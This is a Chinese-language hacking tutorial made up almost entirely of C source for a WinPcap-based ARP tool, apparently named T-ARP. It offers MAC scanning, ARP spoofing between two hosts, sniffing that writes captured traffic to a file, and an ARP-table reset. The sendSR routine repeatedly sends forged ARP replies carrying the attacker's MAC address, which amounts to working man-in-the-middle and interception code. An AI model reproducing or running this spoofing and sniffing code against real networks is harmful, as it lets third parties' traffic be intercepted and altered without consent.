详谈调用winpcap驱动写arp多功能工具(.txt

可以对黑客编程有一定的了解

    else if(fun==4)
    {
        if(mm) 
        {
            if((firstip==myip) && (secondip==myip))
            {
                        fm=TRUE;
                        sm=TRUE;

                         memcpy(fmac,mmac,6);
                      memcpy(smac,mmac,6);
            }
            else if(!fm || !sm)
            {
                              printf("\nNot get enough data\n");
                         return -1;
            }

            printf("\nReset %.16s :  ",inet_ntoa(fsin.sin_addr));
            printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));

                        for(k=0;k<5;k++)
                    printf("%.2x-",smac[k]);
                printf("%.2x\n",smac[5]);

            printf("Reset %.16s :  ",inet_ntoa(ssin.sin_addr));
            printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));

                        for(k=0;k<5;k++)
                    printf("%.2x-",fmac[k]);
                 printf("%.2x\n\n",fmac[5]);

                    stimes=FALSE;
        }
        else 
        {
            printf("\nNot get enough data\n"); 
                return -1;
        }
    }
    else
        return -1;

    do
    {
        memcpy(eth.eh_dst,fmac,6);
        memcpy(arp.arp_tha,fmac,6);
        arp.arp_tpa=htonl(firstip);
        arp.arp_spa=htonl(secondip);

        if(!stimes)
        {
            memcpy(eth.eh_src,smac,6);
            memcpy(arp.arp_sha,smac,6);
        }
        else
        {
            memcpy(eth.eh_src,mmac,6);
            memcpy(arp.arp_sha,mmac,6);
        }

        memset(sendbuf,0,sizeof(sendbuf));
        memcpy(sendbuf,&eth;,sizeof(eth));
        memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

        PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));

            if(PacketSetNumWrites(lpadapter,2)==FALSE)
        {
               printf("Warning: Unable to send a packet 2 times\n");
        }

        if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
        {
            printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());
            return -1;
        }
        Sleep(1000);  

        memcpy(eth.eh_dst,smac,6);
        memcpy(arp.arp_tha,smac,6);
        arp.arp_tpa=htonl(secondip);
        arp.arp_spa=htonl(firstip);

        if(!stimes)
        {
            memcpy(eth.eh_src,fmac,6);
            memcpy(arp.arp_sha,fmac,6);
        }
                else    
        {
            memcpy(eth.eh_src,mmac,6);
            memcpy(arp.arp_sha,mmac,6);
        }


        memset(sendbuf,0,sizeof(sendbuf));
        memcpy(sendbuf,&eth;,sizeof(eth));
        memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

        PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
        if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
        {
            printf("PacketSendPacket int sendSR Error: %d\n",GetLastError());
            return -1;
        }
        Sleep(1000);
    }while(stimes);

    if(fun==4)
        printf("Reset Successfully");

    return 0;
}

int main(int argc,char *argv[])
{
    HANDLE   sthread,rthread;
    WCHAR    adaptername[8192];
    WCHAR    *name1,*name2;
    ULONG    adapterlength;
    DWORD    threadsid,threadrid;
    struct   NetType      ntype;
    struct   bpf_stat     stat;
    struct   sockaddr_in  sin;
    struct   npf_if_addr  ipbuff;
    int      adapternum=0,opti=0,open,i,total;
    long     npflen;

    system("cls.exe");
    start();

    if(argc!=4)
    {
        usage();
        getche();
        return -1;
    }
    else
    {
        if(!strcmp(argv[1],"-m"))
        {
            opti=1;
        }
        else if(!strcmp(argv[1],"-a"))
        {
            opti=2;
        }
        else if(!strcmp(argv[1],"-s"))
        {
             opti=3;

             if((fp=fopen("capture.txt","w+"))==NULL)
        {
                printf("Open capture.txt Error: %d\n");
                    return -1;
        }
                else
        {
                        fwrite("T-ARP Captrue Data",20,1,fp);
        }
        }
        else if(!strcmp(argv[1],"-r"))
        {
            opti=4;
        }
        else
        {
            usage();
            getche();
            return -1;
        }
    }


    firstip=ntohl(inet_addr(argv[2]));
    secondip=ntohl(inet_addr(argv[3]));
    total=secondip-firstip+1;

    printf("\nLibarary Version: %s",PacketGetVersion());

    adapterlength=sizeof(adaptername);

    if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)
    {
        printf("PacketGetAdapterNames Error: %d\n",GetLastError());
        return -1;
    }
    
    name1=adaptername;
    name2=adaptername;
    i=0;

    while((*name1!=‘\0‘) || (*(name1-1)!=‘\0‘))
    {
        if(*name1==‘\0‘)
        {
            memcpy(adapterlist[i],name2,2*(name1-name2));
            name2=name1+1;
            i++;
        }
        name1++;
    }

    adapternum=i;
    printf("\nAdapters Installed:\n");
    for(i=0;i<adapternum;i++)
        wprintf(L"%d - %s\n",i+1,adapterlist[i]);

    do
    {
        printf("\nSelect the number of the adapter to open: ");
        scanf("%d",&open);
        if(open>=1 && open<=adapternum)
            break;         
    }while(open<1 || open>adapternum);

    lpadapter=PacketOpenAdapter(adapterlist[open-1]);

    if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))
    {
        printf("PacketOpenAdapter Error: %d\n",GetLastError());
        return -1;
    }

    if(PacketGetNetType(lpadapter,&ntype))
    {
        printf("\n\t\t*** Host Information ***\n");
        printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);    
        printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);
    }

    npflen=sizeof(ipbuff);  
    if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen))
    {
        sin=*(struct sockaddr_in *)&(ipbuff.Broadcast);
        printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));

        sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask);
        printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));

        sin=*(struct sockaddr_in *)&(ipbuff.IPAddress);
        printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));
        myip=ntohl(sin.sin_addr.s_addr);

        printf("[MACAddress:]");
    }
    else
    {
        printf("\nNot get enough data\n");
        PacketFreePacket(lppackets);
        PacketCloseAdapter(lpadapter);
        return -1;
    }

    if((lppackets=PacketAllocatePacket())==FALSE)
    {
        printf("PacketAllocatePacket send Error: %d\n",GetLastError());
        return -1;
    }

    rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);
    Sleep(300);

    if(getmine()) 
    {
        PacketFreePacket(lppackets);
        PacketFreePacket(lppacketr);

        PacketCloseAdapter(lpadapter);
        return -1;
    }
    Sleep(300);

    if((opti==1) || (opti==2))
    {
        for(i=0;i<total;i++)
        {
            sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
            Sleep(30);
        }
        Sleep(1000);
    }
    else if((opti==3) || (opti==4)) 
    {
        sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
        Sleep(300);
        CloseHandle(sthread);

        sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);
    }

    WaitForSingleObject(sthread,INFINITE); 
    CloseHandle(sthread);
    CloseHandle(rthread);

    if(PacketGetStats(lpadapter,&stat)==FALSE)
    {
        printf("Warning: Unable to get the adapter stat\n");
    }
    else
    {
        printf("\n\n%d packets received, %d packets lost !\n",stat.bs_recv,stat.bs_drop);
    }
    PacketFreePacket(lppackets);
    PacketFreePacket(lppacketr);

    PacketCloseAdapter(lpadapter);

    return 0;
}